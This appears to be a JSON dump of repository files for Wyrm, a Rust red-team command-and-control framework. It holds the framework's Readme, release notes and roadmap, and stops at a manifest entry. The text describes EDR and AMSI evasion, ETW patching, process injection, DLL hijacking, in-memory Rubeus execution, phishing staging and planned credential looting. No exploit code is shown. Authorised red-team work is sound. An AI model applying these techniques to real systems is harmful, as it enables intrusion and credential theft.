[
  {
    "path": ".dockerignore",
    "content": ".git\n.gitignore\n**/target\n**/*.pdb\n**/*.exe\n**/*.dll"
  },
  {
    "path": ".gitignore",
    "content": "c2/target\ntarget\nimplant/target\nclient/target\nclient_v2/target\nshared/target\nshared_c2_client/target\n/c2/staged_files/*\n/c2/logs/*\n/c2/loot/*\n*Cargo.lock\n*.exe\n*.dll\n*.svc\n/client-leptos/dist\n/client/dist\n*.pem\nc2_transfer/*\nwofs_static/*\n# But do track readme changes\n!wofs_static/Readme.md\n\n# Ignore user defined profiles, dont want to overwrite those\nc2/profiles/*.toml\n# Track the example profile - \n!c2/profiles/profile.example.toml\n\n# Now the env file is setup, we want to ignore it for future commits to prevent overwriting.\n.env\nclient-leptos/dist/index.html\nclient/dist/index.html\n"
  },
  {
    "path": ".vscode/settings.json",
    "content": "{\n    \"cSpell.words\": [\n        \"AMSI\",\n        \"antisandbox\",\n        \"appdomain\",\n        \"askama\",\n        \"Autoloot\",\n        \"AVEH\",\n        \"BASERELOC\",\n        \"bootstrapper\",\n        \"BSTR\",\n        \"canonicalise\",\n        \"canonicalised\",\n        \"checkin\",\n        \"chrono\",\n        \"clippy\",\n        \"comptime\",\n        \"conout\",\n        \"creds\",\n        \"crypter\",\n        \"curproc\",\n        \"dazy\",\n        \"dbgprint\",\n        \"deconflictions\",\n        \"Deque\",\n        \"derefs\",\n        \"descript\",\n        \"deser\",\n        \"deserialise\",\n        \"devlogs\",\n        \"disasm\",\n        \"DLLLOADED\",\n        \"dont\",\n        \"doppleganging\",\n        \"dotenv\",\n        \"dotenvy\",\n        \"dotex\",\n        \"doxtex\",\n        \"entryp\",\n        \"ENTRYW\",\n        \"exfil\",\n        \"FARPROC\",\n        \"filesytem\",\n        \"fingerprintable\",\n        \"Flink\",\n        \"funcs\",\n        \"Ghostscale\",\n        \"gitbook\",\n        \"gloo\",\n        \"HINSTANCE\",\n        \"HKCR\",\n        \"HKCU\",\n        \"HKLM\",\n        \"hmod\",\n        \"HORIZ\",\n        \"hres\",\n        \"htmx\",\n        \"icall\",\n        \"Idek\",\n        \"impr\",\n        \"initialiser\",\n        \"itemised\",\n        \"kdbx\",\n        \"keygen\",\n        \"KHTML\",\n        \"klist\",\n        \"laxy\",\n        \"ldapsearch\",\n        \"Ldrp\",\n        \"Leptos\",\n        \"lfanew\",\n        \"locationchange\",\n        \"lpaddress\",\n        \"lpsz\",\n        \"LPTHREAD\",\n        \"lstrlen\",\n        \"luid\",\n        \"macroise\",\n        \"minreq\",\n        \"MODULEINFO\",\n        \"msvc\",\n        \"MSVCRT\",\n        \"nanos\",\n        \"NGBP\",\n        \"NGPB\",\n        \"NOACCESS\",\n        \"nonoverlapping\",\n        \"nostd\",\n        \"notif\",\n        \"ntdll\",\n        \"OPSEC\",\n        \"ords\",\n        \"Overwatch\",\n        \"parray\",\n        \"pathing\",\n        \"PCSTR\",\n        \"PCWSTR\",\n        \"PFNSE\",\n        \"pider\",\n        \"PLAINTXT\",\n        \"popstate\",\n        \"postex\",\n        \"ppid\",\n        \"PROCESSENTRY\",\n        \"psexec\",\n        \"ptrs\",\n        \"PWSTR\",\n        \"rdata\",\n        \"RDLL\",\n        \"READWRITE\",\n        \"recognised\",\n        \"regq\",\n        \"reloc\",\n        \"repr\",\n        \"reqwest\",\n        \"retval\",\n        \"RIID\",\n        \"rngs\",\n        \"RNTIME\",\n        \"roff\",\n        \"rotr\",\n        \"Rubeus\",\n        \"rundll\",\n        \"runpoline\",\n        \"rustc\",\n        \"rustls\",\n        \"rustup\",\n        \"rwlock\",\n        \"SAFEARRAY\",\n        \"SAFEARRAYBOUND\",\n        \"Seedable\",\n        \"Serialise\",\n        \"serialised\",\n        \"serialising\",\n        \"servertime\",\n        \"Shellcode\",\n        \"sideloaded\",\n        \"sideloading\",\n        \"Smkukx\",\n        \"smth\",\n        \"Smukx\",\n        \"SNAPALL\",\n        \"sqlx\",\n        \"STARTUPINFO\",\n        \"STARTUPINFOA\",\n        \"STARTUPINFOEXA\",\n        \"STARTUPINFOW\",\n        \"strs\",\n        \"subdirs\",\n        \"svchost\",\n        \"tchars\",\n        \"termiantor\",\n        \"thiserror\",\n        \"thje\",\n        \"timestomp\",\n        \"timestomping\",\n        \"Toolhelp\",\n        \"TOPT\",\n        \"trustedsec's\",\n        \"turbofish\",\n        \"Unaccess\",\n        \"Uninit\",\n        \"UNLEN\",\n        \"ureq\",\n        \"useragent\",\n        \"Voidheart\",\n        \"vtable\",\n        \"Vtbl\",\n        \"Whelpfire\",\n        \"WINHTTP\",\n        \"wofs\",\n        \"WRITECOPY\",\n        \"wyrm\",\n        \"xored\",\n        \"xwin\",\n        \"yara\"\n    ],\n    \"[rust]\": {\n        \"editor.defaultFormatter\": \"rust-lang.rust-analyzer\",\n        \"editor.formatOnSave\": true,\n    },\n    \"cSpell.language\": \"en,en-GB\",\n    \"rust-analyzer.procMacro.ignored\": {\n        \"leptos_macro\": [\n            // optional:\n            // \"component\",\n            \"server\"\n        ],\n    },\n    \"rust-analyzer.cargo.features\": \"all\",  // Enable all features\n    \"rust-analyzer.cargo.buildScripts.enable\": true,\n}"
  },
  {
    "path": "CONTRIBUITIONS.md",
    "content": "# Contributions\n\nContributions as PR's are not currently accepted.\n\nPlease use the issues tab or discussions as required.\n\nThe `.env` file should be removed from future commits - run `git update-index --skip-worktree .env` locally to ensure it is \nnot tracked.\n\n## Branch naming conventions\n\n- `vx.y`: The main development branch for an upcoming release.\n- `feat/*`: Implementing a new feature.\n- `bug/*`: Fixing a bug, tracked against an issue number where relevant.\n- `impr/*`: Improving something that already exists."
  },
  {
    "path": "Cargo.toml",
    "content": "[workspace]\nresolver = \"2\"\nmembers = [\"c2\", \"client\", \"implant\", \"loader\", \"shared\", \"shared_c2_client\", \"shared_no_std\"] \n"
  },
  {
    "path": "LICENCE",
    "content": "MIT License\n\nCopyright (c) 2025 flux\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE."
  },
  {
    "path": "Milestones.md",
    "content": "# Project Milestones\n\nAny item with a (L) tag is a contribution which will not be live (or requires further decision making) as this is intended to be\ndeveloped as a premium or otherwise private feature. These will be few and far between.\n\n## (L) Features (locked currently for public consumption)\n\n1) [ ] NG Proxy Bypass (NGPB).\n2) [ ] Additional loaders / start from RDLL - configurable, maybe things like early bird, syscalls, etc.\n3) [ ] Image hashes in autoloot.\n4) [ ] Runtime obfuscation, sleep masking - should spawn from the RDI bootstrap? Shellcode? Where and how? The RDI alloc for the actual DLL can just be encrypted?\n5) [ ] **Entire** website clone, and serve download from named page.\n6) [ ] Ransomware **SIMULATION** for Business\n7) [ ] Execute dotnet in sacrificial process\n\n### v0.7.3\n\n1) [ ] `can_hijack`\n   1) [ ] Specify a path to the image, and Wyrm tells you if you can SOH - this would be great for process injection without risking process injection triggers that an EDR could pick up\n   2) [ ] Docs\n2) [ ] The loader should inherit option for ETW bypass\n3) [ ] `inject` malleable options (malleable options for it to inject on spawn from the default loader)\n4) [ ] `spawn` should take a param (last position) if not in profile to spawn as\n5) [ ] `spawn` should give the operator the pid of the spawned process\n6) [ ] Go back and refactor `wyrm.rs` to use `task.deserialise_metadata::<InjectInnerForPayload>()` generics\n7) [ ] Investigate inject behaviour in calc (some instability found on use)\n8) [ ] C2 should have delete option for staged payloads\n\n### v1.0 - Whelpfire\n\n1) [ ] `jump psexec`\n2) [ ] Final OPSEC review on binary indicators to make sure nothing is introduced in this version.\n3) [ ] Max upload size set on C2 from profile\n4) [ ] Logrotate setup &/ cargo clean?\n5) [ ] Link additional modules at comptime into the C2 or agent (via profiles), e.g. to enable NGPB or other custom toolkits.\n6) [ ] Separate URIs for POST and GET\n7) [ ] Multiple URLs / IPs for C2\n8) [ ] Round robin and different styles for URI & URL rotation\n9) [ ] Can I tidy wyrm.rs, maybe dynamic dispatch and traits for main dispatch fn?\n10) [ ] Loaders should stomp the MZ and \"this program..\"\n11) [ ] Support domain fronting through HTTP headers in malleable profile (check in comms code `.with_header(\"Host\", host)`)\n12) [ ] Staging the encrypted payload as opposed to a stageless only build\n13) [ ] When sideloaded no console output coming through\n14) [ ] EDR shim removal? https://malwaretech.com/2024/02/bypassing-edrs-with-edr-preload.html\n15) [ ] Can I make it x86?\n16) [ ] Consider a javascript scripting kit (look at nuclei) (suggestion by @sindhwadrikunj)\n17) [ ] Other spawn / inject options\n18) [ ] WOF API's\n    1)  [ ] C2 download file\n    2)  [ ] C2 print info / print fail\n19) [ ] Stack spoofing for unbacked memory\n20) [ ] AMSI option in profile for classic bypass or VEH^2\n\n### v1.1\n\nThese are to be split out further as required for more manageable releases.\n\n1) [ ] Long running tasks which have a specified integrity level, so any task set under this scheme can execute at a given integrity level for that machine\n2) [ ] Killing the agent should support from thread as well as from process (in the case of an injected process).\n3) [ ] Agent & C2 supports multiple endpoints (selectable in build process from cli) / c2 profiles\n   1) This needs to be implemented in the wizard also\n4)  [ ] `zip` command to natively zip a folder\n5)  [ ] Improve pillage function\n6)  [ ] Concurrent removable media scanner - runs when main thread is sleeping between calls and looks for a removable disk being added. Auto-pillage.\n   1)  [ ] The auto pillage file extensions should be specified in the profile toml\n7)  [ ] Auto Escalator (this could be done a separate project that can be used by others, but also compiles into this):\n    1)  [ ] User -> SYSTEM (service paths etc)\n    2)  [ ] Local user -> Local Admin\n    3)  [ ] Local Admin -> SYSTEM\n8)  [ ] Improved anti-sandbox checks\n9)  [ ] Additional lateral movement options\n10) [ ] C2 junk padding response size (needs to play nice with NGPB)\n11) [ ] Export agent db info for reporting\n12) [ ] Read users clipboard continuously and upload to C2\n13) [ ] Multiple C2 implementations on the agent. This could be a task which orders the creation on the implant itself.\n14) [ ] Capture screenshots\n15) [ ] Autoloot:\n    1)  [ ] SSH keys\n    2)  [ ] Filenames of office docs, .pdf, .jpg, .mov, .kdbx\n16) [ ] Builds agent that can use APIs via hells/halos gate, etc.\n    1)  [ ] Look at FreshyCalls as an alternate\n17) [ ] Pool Party\n18) [ ] C2 rotation strategy from profile\n19) [ ] `cat`\n20) [ ] `tasks` and `task_kill`\n21) [ ] SOCKS proxy\n22) [ ] Shellcode loader\n23) [ ] C2 configurable so it is hosted on TOR, with C2 fronted redirectors into the TOR network\n24) [ ] `drives` search for additional drive volumes\n25) [ ] Scope / date / time checks\n26) [ ] Add a note to an implant\n27) [ ] Some UAC bypasses?\n28) [ ] Specify specific proxy for agent to use\n\n### Voidheart - v2.0\n\nThese are to be split out further as required for more manageable releases.\n\n1) [ ] Run tools in memory and send output back to operator\n2) [ ] C2 over DNS / DOH\n3) [ ] SMB agents\n4) [ ] Allow multiplayer\n5) [ ] Time-stomping for builds & also agent can stomp files on target\n6) [ ] Any inspiration from [trustedsec's BOFs](https://github.com/trustedsec/CS-Situational-Awareness-BOF) around some sitrep stuff this can do?\n   1)  [ ] `ldapsearch`\n7) [ ] 'Overwatch' system on the C2\n8) [ ] TOPT\n9)  [ ] Add ability to protect staged downloads with a header `key=value`, to try prevent mass downloading of an agent in cases where the operator wants it behind a check\n10) [ ] Post Quantum Encryption for below TLS implant comms\n11) [ ] Create multiple users \n    1)  [ ] Make implant multiplayer - this may need a bit of rearchitecting\n\n### Ashen Crown - v3.0\n\n1) [ ] Wyrm Rootkit release\n2) [ ] Wyrm rootkit loader\n\n### Ghostscale - v4.0\n\nNothing planned yet."
  },
  {
    "path": "RELEASE_NOTES.md",
    "content": "# Release Notes\n\nAnything found labelled with a '&#128679;' indicates a possible breaking change to a profile which you will need to adjust from\nthe `default.example.profile` found in `/c2/profiles/`. This is done especially as to not overwrite your custom profiles when\npulling updates.\n\n**IN ANY CASE ALWAYS BACKUP YOUR PROFILES BEFORE UPDATING!!!!**\n\n## v0.7.2\n\n- Makes stable the `spawn` command (x64 only) which now uses Early Cascade Injection to launch a new agent. There are question marks over the effectiveness of this against EDR's thanks to the work of [Smukx](https://x.com/5mukx/). Leaving in as the default now; further options to be explored before v1.0 is released.\n- `Wyrm Object Files` are introduced which are small, self-contained code modules that are baked into the implant at compile time. This allows you to extend the functionality of Wyrm and bring in your custom tooling without having to understand the entire source code of Wyrm to implement additional custom functionality. You can simply invoke the wof at runtime via `wof <function_name> (optional input)`. See docs for full explanation.\n- Process injection introduced via the `inject <payload> <pid>` command.\n- Improves AMSI bypass technique by using [VEH Squared](https://fluxsec.red/vectored-exception-handling-squared-rust) instead of patching the function entry for AmsiScanBuffer.\n- Reflective DLL stub now inherits the ETW patching option if specified in the profile.\n- Significantly improves stability of C2 where resource exhaustion was happening because I used `scc` when trying to optimise some time ago, switched to normal `HashMap` and `RwLocks` and it runs a dream. Incidently, this led to the server locking out. Further improved stability by reducing lock contention over awaits.\n- Internal refactoring, nothing to write home about, but still nice improvements from a code perspective.\n- Debug builds should print output to the debug console (accessible via DebugView) - thanks to [@c5pider](https://x.com/C5pider) and [@RastaMouse](https://x.com/_RastaMouse) for that idea :)\n\n## v0.7.1\n\n- Bug fix for the reflective DLL - it was not fully reflective in v0.7, I left some of the logic in the injector which has been migrated to the rDLL bootstrap mechanism. The rDLL should now be reflective from external tooling (so long as you start execution at the `Load` export).\n- Introduces an **early preview** of the `spawn` command - you can spawn a new Wyrm agent impersonating `svchost`. To use this you must have either the loader or the raw payload (DLL version) on disk (on the target) and you can run it via: `spawn \"path/to/dll\"`. Bundling this in as there was the above critical update to the rDLL. It is **NOT** recommended you use this as I am still building it, if you want to, feel free - but it may break or trigger AV right now.\n\n## v0.7\n\n- Wyrm now builds as a reflective DLL, supplying you with a loader DLL, exe and svc in place of the previous raw binary. Meaning in your build, for each profile you now get\n  - Raw binaries for when you wish to use them with your own loaders / toolsets (exe, svc and dll) where the DLL version is set up for **reflective** loading via the `Load` export. See the [docs](https://docs.wyrm-c2.com/implant/rdll.html) for more info on how to use the reflective loader export.\n  - A loader using the reflective injector of the DLL, giving you an exe, svc and dll - all which load the rDLL into the **current** process. Support for process injection coming later. This is XOR 'encrypted' in the .text section of the loader.\n- `pull` command now does so buffered in memory, preventing resource exhaustion from the implant.\n- Native support for running `whoami` without needing to touch powershell. Run `whoami` to get info on the domain, user, SID and what privileges are assigned.\n- Implant is now **proxy aware**! This means it will attempt to use a corporate proxy if set up for making connections. If none exists, then none will be used! This is done per request to ensure the correct proxy settings are applied to the correct C2 address if using multiple.\n- Binary size of the postex payload almost HALVED! Down to about 800 kb!\n- Fix logging on C2 to log correct IP with NGINX X-Forwarded-For header.\n- Moved implant to reqwest crate for networking from minreq, no real impact on agent size and provides more functionality.\n- Fix bug where implant tried to register a mutex when not specified.\n- Fix bug in file upload via GUI to the C2 in that it happens much faster.\n- Improve how the C2 handles panics and unwraps using `catch_panic`, the  C2 should no longer become unresponsive during panics. Using panics and unwraps was by design, so this should add stability.\n- Improved stability with the automatic DLL proxying for search order hijacking.\n\n### Known Issues\n\n- When the DLL is loaded via sideloading, no debug prints or console prints from dotnet tooling are captured.\n\n## v0.6\n\n- AMSI patching available in the implant via the malleable profile (only runs in the agent when necessary).\n- You can now execute dotnet programs remotely in the agent, all in memory - does not write anything to disk! Simply run `dotex` and pass your args after, e.g. `dotex Rubeus.exe klist` (see below point as to how to get the binary sent to the agent)!\n- This update introduces the `c2_transfer` dir in the root which is used for staging files to be internally used by the C2 during operations such as `dotex` where the payload is sent as bytes to the agent through C2. This folder is a bind mount meaning you can drop files in ad-hoc whilst the server is running and it should be able to read them. If you drop tools in here in a folder, make sure you include that in the path to the tool.\n- Agent prints get sent to the server - meaning if you build in debug mode you can see the debug output in the terminal on the c2. This is mainly due to now removing the console window from the application.\n- The CRT (C Runtime) is now statically linked into the binary so it can run on machines without the MSVCRT DLLs.\n- Some nice UI changes\n- Bug fix with parsing config on C2, some options were being left out under certain conditions.\n\n## v 0.5.3\n\n- Potential bug fix for the UI very occasionally not showing messages in the UI. Seems to be fixed.. but the bug happens so little it can be hard to diagnose.\n\n## v 0.5.2\n\n- DLL internals now allow for a better loading mechanism which ensures if run via rundll32, and from DLL Search Order Hijacking, without early termination.\n- Malleable profile now provides support for fully fledged DLL Search Order Hijacking attacks! See docs for more info.\n- Malleable profile now includes the ability to create a global mutex so you can ensure only one implant (profile) can run on the system, this could be useful for DLL sideloading / search order hijacking if the target is extremely noisy in terms of lots of subprocesses loading in the binary. You can of course have this applied to one profile, but not another, as it is fully optional.\n- Improves the output of the `ps` and `reg query` commands.\n- Added additional deserialisation option for output of `reg query` such that the `REG_BINARY` type gets decoded.\n\n### Issues under investigation\n\nThere is still a very rare, small case where the first few instructions get dispatched and sent to the client, but don't appear in the console. They are logged in the browser store temporarily, but I think the bug is still here.. under investigation - extremely rare which is making it difficult to determine if it is still an issue.\n\n## v 0.5.1\n\n- Improved GUI updates! The dashboard message panel now looks much better, with newlines appearing properly, and spacing kept from the raw output. Colours have also been improved making it much easier to distinguish between message sections!\n- Improved UI printing of the `ls` command.\n\n## &#128679; v 0.5\n\n### &#128679; Breaking changes\n\n- Introduced the .svc binary which builds as part of your build package from the C2. There is a new required field in the profile, which is **svc_name**. Read more in the Wyrm Docs profile section as to how to use this field. In short, the value of this field (required) is passed to the Windows Service Control Manager when the service binary is run.\n\n### Non-breaking changes\n\n- Introduced the **string scrubber**!\n  - The string scrubber automatically scrubs 'implant.dll' from the export name of the Wyrm DLL.\n  - The string scrubber allows through a malleable profile the ability to scrub certain strings from the binary. **Warning:** this interprets bytes like for like and either allows you to replace them, or zero them out. This could lead to accidental pattern collisions with machine code / other artifacts, so if you are using this feature, be sure to test the binary before deployment on a red team op!\n- Added download counter for staged resources (visible in new log file, and on the staged resources GUI page).\n- Fixed bug (again..) that was preventing messages showing in the GUI, even though they were processed by the client. Hopefully that is the end of that bug!\n\n## v 0.4.4\n\n- Introduces the profile options to build custom DLL export names, as well as define custom machine code to run at an export. This could be used for DLL Sideloading (better support for that coming later, but it should still work in some cases), OPSEC, or just causing a bit of mayhem for a blue teamer.\n\n## &#128679; v 0.4.3\n\n- Investigated whether error logging was happening (the C2 hasn't generated an error in a long time) - confirmed error handling works as expected. This is good.\n- Fixes bug which caused some results not to print to an agents console.\n- Fixes bugs with file drop via the implant; now correctly drops a file in the 'in memory' working directory of the beacon.\n\n### &#128679; Breaking changes\n\n- Removed most of the environment variable requirements (see docs for instructions).\n- This update brings a change to profiles! You now have one profile, and only one, which exists in the `c2/profiles/*.toml` file. You now specify multiple implants by key to build, or alternatively you can build all implant profiles by typing 'all' on the profile builder. See the [docs](https://docs.wyrm-c2.com/) for how to set the profile up, example is provided.\n\n## v 0.4.2\n\n- Fixes bug which prevented user logging into C2 for the first time if no user is created.\n\n## &#128679; v 0.4.1\n\n### &#128679; Breaking changes\n\n- The C2 now uses nginx as part of the docker stack to serve the C2 over TLS. This was an important design decision whilst re-working the server; we are moving away from the previous method of authentication (which re-authenticates each time and will be more CPU intensive than required). Now, we use HTTPS secure cookies to enable the login sessions. Because of this change, you now need to generate a certificate and its private key, and they need to be placed into `/nginx/certs/` named `cert.pem` and `key.pem` respectively. For localhost testing, see my guide on [creating trusted certificates](https://fluxsec.red/wyrm-c2-localhost-self-signed-certificate-windows) locally - failing to do this will result in no connectivity on **localhost**. For prod, create a cert as you see fit (`certbot` / purchased certificates / from a CA, etc..) and add them to the `nginx/certs` dir, updating the `/nginx/nginx.conf` as necessary.\n- As Wyrm now uses nginx via Docker, you need to configure the configuration file in `/nginx/nginx.conf`. This file is provided for you in git tracking. **Note:** when v0.4.1 is pushed, I will not be tracking changes to this file so that it doesn't accidentally break a build.\n  - Edit `server_name` as appropriate for both HTTP and HTTPS.\n  - Edit other settings as you see fit; note, the CORS stuff is mandatory as the GUI is separate from the server.\n- You now log into the C2 entering the address of: https://localhost into the login panel (at http://localhost:3000)\n\n### Non-breaking changes\n\n- We now use a better, more efficient, and more secure authentication method of using actual auth HTTPS only tokens with a lifetime of **12 hrs** before you need to log in again to get a new token.\n- Fix bug which caused tasks on implant to be dispatched out of order.\n- Fixed bug causing console output to appear in the wrong order on the GUI.\n- C2 now has docs! https://docs.wyrm-c2.com/\n\n## &#128679; v 0.4\n\n### &#128679; Breaking changes\n\n- `.env` migrated from `/c2` to `/` - **THIS MAY AFFECT YOUR ADMIN TOKEN AND OTHER ENVIRONMENT SETTINGS, PLEASE BACK-UP BEFORE UPDATING**.\n- Docker build pipeline for client now moved to workspace root rather than from within the `/client` directory. To build the client, now run (from the workspace root): `docker compose up -d --build client`.\n- No more `install.sh`! You run the C2 via docker, simply with: `docker compose up -d --build  c2` from the root directory. This means you can run both the client and c2 via docker.\n  - Client: `docker compose up -d --build client`.\n  - C2: `docker compose up -d --build c2`.\n- Loot, staged resources, and logs can be found in the docker volume /data.\n\n### Non breaking changes\n\n- OPSEC improvement with removing static artifacts from the binary.\n- Introduces timestomping for the compile date on built implants - see `profile.example.toml` for full docs, but this optional profile option allows you to select a date in **British format** which is stamped into the binary as the compile date, aiding advanced OPSEC.\n- Introduces the ability to export the completed tasks of the agent to a json file (for ingesting into ELK etc) by running the `export_db` command on an agent.\n- Completed tasks now mapped to MITRE ATT&CK!\n- Introduces the registry manipulation features with `reg query`, `reg delete` and `reg add` commands.\n- Improve docker build process for the client through [cargo chef](https://lpalmieri.com/posts/fast-rust-docker-builds/).\n- Implant supports `rm` to remove a file, and `rm_d` to remove a directory (and all its children).\n- Adds user name who is running processes, as well as the ability to show processes running at a higher privilege (if running with high integrity).\n- Improved how the system records time an action was completed, now properly represents the time the agent actually did the work, vs what was in place which was when the result was posted to the server and processed by the database.\n- Improved HTTP packet ordering to be more concise and clear, using repr(C) to ensure consistent ordering under the new packet layout.\n\n## v 0.3\n\nThis release introduces the new GUI, which is a web based UI used to interact with the Wyrm C2.\n\n- New web based GUI!\n- Docker is used to build and deploy the GUI, making it really straightforward.\n- Building payloads now downloads as a 7zip archive through the browser.\n  - Install `sh` script updated to include 7z dependencies, if manually updating through a pull; make sure you have 7zip installed and available on PATH.\n\n## v 0.2\n\n- Wyrm C2 now uses profiles to build agents with fully customisable configurations.\n- IOCs are encrypted at compile time in the payload.\n- Events Tracing for Windows (ETW) patching support via customisable profile.\n- Profile options to determine log fidelity of the C2.\n- Jitter supported in profile, as a percentage of the maximum sleep value time in seconds.\n- Investigated apparent bug where results of running tasks appear out of order. The agent does not execute them out of order, this is a GUI display bug. Not fixing at this moment in time as I am building a new GUI for this in an upcoming pre-release version."
  },
  {
    "path": "Readme.md",
    "content": "# Wyrm - v0.7.2 Hatchling\n\nWyrm (pronounced 'worm', an old English word for 'serpent' or 'dragon') is a post exploitation, open source, Red Team security testing framework framework, written in Rust designed to be used by Red Teams, Purple Teams, \nPenetration Testers, and general infosec hobbyists. This project is fully built in Rust, with extra effort going into obfuscating artifacts which\ncould be present in memory. Project created and maintained by [flux](https://github.com/0xflux/), for **legal authorised security testing only**.\n\n![Wyrm C2](resources/splash_example.png)\n\nRead the docs at https://docs.wyrm-c2.com/ for quick setup instructions. Or jump in to read about [customisable profiles](https://docs.wyrm-c2.com/implant/profiles/), \n[evasion](https://docs.wyrm-c2.com/implant/profiles/evasion.html), and [obfuscation](https://docs.wyrm-c2.com/implant/profiles/obfuscation.html). The docs\nwill be updated as the project grows and gains more capabilities.\n\nPre-release version. If you want to support this project, please give it a star! I will be releasing updates and\ndevlogs on my [blog](https://fluxsec.red/) and [YouTube](https://www.youtube.com/@FluxSec) to document progress, so please give me a follow there.\n\n**IMPORTANT**: Before pulling updates, check the [Release Notes](https://github.com/0xflux/Wyrm/blob/master/RELEASE_NOTES.md) for any \nbreaking changes to profiles / configs which you may need to manually adjust or migrate. This is done especially so that updates do not\noverwrite your local configs and agent profiles.\n\n## Post exploitation Red Team framework\n\nWyrm currently supports only HTTPS agents using a custom encryption scheme for encrypting traffic below TLS, with a unique packet design so that\nthe packets cannot be realistically decrypted even under firewall level TLS inspection.\n\nUpdates are planned through versions 1,0, 2.0, 3.0, and 4.0. You can view\nthe planned roadmap in this project (see [Milestones.md](https://github.com/0xflux/Wyrm/blob/master/Milestones.md)). In time, this is designed to be an open source competitor to **Cobalt Strike**, **Mythic**, **Sliver**, etc.\n\nFor any bugs, or feature requests, please use the Issues tab, and for anything else - please use GitHub Discussions. I am active on this project,\nso I will be attentive to anything raised.\n\n### Features\n\n- Implant uses a configurable profile to customise features and configurations\n- You can customise the Wyrm agent via WOFs (Wyrm Object Files) which are statically linked C code or other language (Rust, etc) object files\n- Fully reflective DLL model + a basic loader provided\n- Access to raw binaries as well as ones prepared with a loader if you wish to use your own tooling with Wyrm\n- Intuitive auto-DLL search order hijacking & sideloading features via profiles\n- IOCs encrypted in the payload to assist in anti-analysis and anti-yara hardening\n- Implant transmits data encrypted below TLS, defeating perimeter inspection security tools out the box\n- Dynamic payload generation\n- Easy mechanism to stage files (such as built implants, PDF, zip, etc) on the C2 for download to support phishing campaigns and initial attack vectors\n- Supports native Windows API commands, more planned in future updates\n- Easy to use terminal client for the operator to task & inspect agents, and to manage staged resources\n- Implant uses the most common User-Agent for comms to help it blend in covertly with traffic by default, this is also configurable to suit your engagement\n- Easy, automated C2 infrastructure deployment with docker\n- Execute dotnet binaries in memory\n- Anti-sandbox techniques which are highly configurable by the operator through profiles\n- Backed by a database, fully timestamped to make reporting easier\n- Proxy awareness (usable against clients who use proxies)\n\nThis project is not currently accepting contributions, please **raise issues** or use **GitHub Discussions** and I will look into them, and help\nanswer any questions.\n\n### Loader\n\nThe Wyrm C2 comes with a loader for the reflective DLL component of the toolkit. The loader has the Wyrm postex payload encrypted in its \n.text section; for more information please see the [docs](https://docs.wyrm-c2.com/implant/rdll.html). Visually the loader runs as follows:\n\n![Wyrm reflective DLL loader](resources/inj.svg)\n\n### Updates\n\n**WARNING:** Before pulling an update; please check the [release notes](https://github.com/0xflux/Wyrm/blob/master/RELEASE_NOTES.md) to see whether there are any breaking changes - for example if the\n**configurable C2 profile** changes in a breaking way from a previous profile you have, you will want to make sure you backup and migrate\nyour profile. I will be excluding `/c2/profiles/*` and `.env` from git once the project is published in pre-release to prevent accidentally overwriting\nyour previous profile when running `git pull` to update your software.\n\nAs per the roadmap, this project will see significant development over the next 12 months. To pull updates, whether they are new features\nor bug fixes, you simply just do a **git pull**, re-build via docker: `docker compose up -d --build c2` and `docker compose up -d --build client`.\n\n# The legal bit\n\n## Authorized Use Only\n\n**Permitted Users**\n\nThe Software is intended **exclusively** for **authorised** penetration testers, Red Teams, Purple Teams, hobbyists, and security researchers who have obtained **explicit, written authorisation from the owner of each target system**.\n\nAny use of the Software on systems for which you do not hold such authorisation is **strictly prohibited** and may constitute a criminal offence under the UK Computer Misuse Act 1990 (including sections on Unauthorised access to computer material, Unauthorised access with intent to commit further offences, and Unauthorised acts impairing operation) or equivalent laws elsewhere.\n\n## Prohibited Conduct\nYou must not use, distribute, or facilitate use of the Software for:\n\n- Unauthorised Access (CMA 1990, Section 1) — hacking into systems or accounts without permission.\n- Unauthorised Modification (CMA 1990, Section 3) — altering, deleting, or corrupting data or programs you have no right to modify.\n- Denial-of-Service (CMA 1990, Section 3A) — disrupting or interrupting any service, network, or application.\n- Malware/Ransomware Creation — writing, incorporating, or deploying code intended to extort, damage, or hold data hostage.\n- Any other malicious, unlawful, or harmful activities.\n\nOr equivalent offenses in other jurisdictions.\n\n**No Encouragement of Misuse:**\n\nThe Author expressly **does not condone, support, or encourage** any illegal or malicious activity. This Software is provided purely for legitimate security-testing purposes, in environments where full authorisation has been granted.\n\n## Compliance with Laws & Regulations\n\n**Local Laws**: You alone are responsible for ensuring your use of the Software complies with all applicable local, national, and international laws, regulations, and corporate policies.\n\n## No Warranty\n\nThe Software is provided “as is” and “as available”, without warranties of any kind, express or implied.\n\nWe make no warranty of merchantability, fitness for a particular purpose, or non-infringement.\n\nWe do not warrant that the Software is error-free, secure, or uninterrupted.\n\n## Limitation of Liability\n\nTo the fullest extent permitted by law, neither the Author nor contributors shall be liable for any:\n\n- Direct, indirect, incidental, special, punitive, or consequential damages.\n- Loss of revenue, profits, data, or goodwill.\n- Costs of procurement of substitute goods or services.\n\nThis limitation applies even if we have been advised of the possibility of such damages. It is the responsibility of the professional operator to\nuse this tool safely."
  },
  {
    "path": "c2/Cargo.toml",
